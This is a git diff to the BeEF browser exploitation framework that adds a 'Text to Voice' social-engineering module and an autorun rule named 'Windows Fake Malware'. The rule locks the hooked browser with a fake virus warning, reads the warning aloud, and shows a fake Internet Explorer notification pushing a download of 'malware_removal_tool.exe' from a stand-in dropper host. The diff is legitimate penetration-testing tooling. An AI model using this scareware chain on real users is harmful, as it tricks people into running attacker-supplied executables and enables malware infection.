diff --git a/Gemfile b/Gemfile
index 09a66e5e3..6303d0608 100644
--- a/Gemfile
+++ b/Gemfile
@@ -30,6 +30,8 @@ gem 'dm-core'
gem 'json'
gem 'data_objects'
gem 'rubyzip', '>= 1.0.0'
+gem 'espeak-ruby', '>= 1.0.3' # Text-to-Voice
+
# SQLite support
group :sqlite do
diff --git a/Gemfile.lock b/Gemfile.lock
index e42f1e7f8..f3f336685 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -29,6 +29,7 @@ GEM
eventmachine (>= 0.12.9)
http_parser.rb (~> 0.6.0)
erubis (2.7.0)
+ espeak-ruby (1.0.3)
eventmachine (1.0.9.1)
execjs (2.6.0)
fastercsv (1.5.5)
@@ -94,6 +95,7 @@ DEPENDENCIES
dm-sqlite-adapter
em-websocket
erubis
+ espeak-ruby (>= 1.0.3)
eventmachine
execjs
geoip
@@ -112,4 +114,4 @@ DEPENDENCIES
uglifier
BUNDLED WITH
- 1.11.2
+ 1.12.1
diff --git a/arerules/win_fake_malware.json b/arerules/win_fake_malware.json
new file mode 100644
index 000000000..194f98618
--- /dev/null
+++ b/arerules/win_fake_malware.json
@@ -0,0 +1,38 @@
+// note: update your dropper URL (dropper.local) in each of the modules below
+{
+ "name": "Windows Fake Malware",
+ "author": "bcoles",
+ "browser": "ALL",
+ "browser_version": "ALL",
+ "os": "Windows",
+ "os_version": "ALL",
+ "modules": [
+ {
+ "name": "blockui",
+ "condition": null,
+ "options": {
+ "message": "
This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer before you do any shopping online.
", + "timeout": "9999" + } + }, + { + "name": "text_to_voice", + "condition": null, + "options": { + "message": "This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer; before you do any shopping online.", + "language": "en" + } + }, + { + "name": "fake_notification_ie", + "condition": null, + "options": { + "url": "http://dropper.local/malware_removal_tool.exe", + "notification_text": "SECURITY WARNING: Download the Microsoft Malware Removal Toolkit as soon as possible." + } + } + ], + "execution_order": [0,1,2], + "execution_delay": [0,0,0], + "chain_mode": "sequential" +} diff --git a/modules/social_engineering/text_to_voice/command.js b/modules/social_engineering/text_to_voice/command.js new file mode 100644 index 000000000..e628c0774 --- /dev/null +++ b/modules/social_engineering/text_to_voice/command.js @@ -0,0 +1,20 @@ +// +// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var url = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/objects/msg-<%= @command_id %>.mp3'; + try { + var sound = new Audio(url); + sound.play(); + beef.debug('[Text to Voice] Playing mp3: ' + url); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=message sent", beef.are.status_success()); + } catch (e) { + beef.debug("[Text to Voice] HTML5 audio unsupported. Could not play: " + url); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.are.status_error()); + } + +}); diff --git a/modules/social_engineering/text_to_voice/config.yaml b/modules/social_engineering/text_to_voice/config.yaml new file mode 100644 index 000000000..df136a5b4 --- /dev/null +++ b/modules/social_engineering/text_to_voice/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + text_to_voice: + enable: true + category: "Social Engineering" + name: "Text to Voice" + description: "Convert text to mp3 and play it on the hooked browser. Note: this module requires Lame and eSpeak to be installed." + authors: ["bcoles"] + # http://caniuse.com/audio + target: + working: ["All"] + not_working: + IE: + min_ver: 1 + max_ver: 8 + FF: + min_ver: 1 + max_ver: 2 + S: + min_ver: 1 + max_ver: 3 diff --git a/modules/social_engineering/text_to_voice/module.rb b/modules/social_engineering/text_to_voice/module.rb new file mode 100644 index 000000000..a8e3ad2c5 --- /dev/null +++ b/modules/social_engineering/text_to_voice/module.rb @@ -0,0 +1,74 @@ +# +# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Text_to_voice < BeEF::Core::Command + require "espeak" + include ESpeak + + def pre_send + + # Ensure lame and espeak are installed + if IO.popen(['which', 'lame'], 'r').read.to_s.eql?('') + print_error("[Text to Voice] Lame is not in $PATH (apt-get install lame)") + return + end + if IO.popen(['which', 'espeak'], 'r').read.to_s.eql?('') + print_error("[Text to Voice] eSpeak is not in $PATH (apt-get install espeak)") + return + end + + # Validate module options + message = nil + language = nil + @datastore.each do |input| + message = input['value'] if input['name'] == 'message' + language = input['value'] if input['name'] == 'language' + end + unless Voice.all.map { |v| v.language }.include?(language) + print_error("[Text to Voice] Language '#{language}' is not supported") + print_more("Supported languages: #{Voice.all.map { |v| v.language }.join(',')}") + return + end + + # Convert text to voice, encode as mp3 and write to module directory + begin + msg = Speech.new(message.to_s, voice: language) + mp3_path = "modules/social_engineering/text_to_voice/mp3/msg-#{@command_id}.mp3" + msg.save(mp3_path) + rescue => e + print_error("[Text to Voice] Could not create mp3: #{e.message}") + return + end + + # Mount the mp3 to /objects/ + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind( + "/#{mp3_path}", + "/objects/msg-#{@command_id}", + 'mp3') + end + + def self.options + return [ + { 'name' => 'message', + 'description' => 'Text to read', + 'type' => 'textarea', + 'ui_label' => 'Text', + 'value' => 'Hello; from beef', + 'width' => '400px' }, + { 'name' => 'language', + 'description' => 'Language', + 'type' => 'text', + 'ui_label' => 'Language', + 'value' => 'en' }] + end + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind("/objects/msg-#{@command_id}.mp3") + end + +end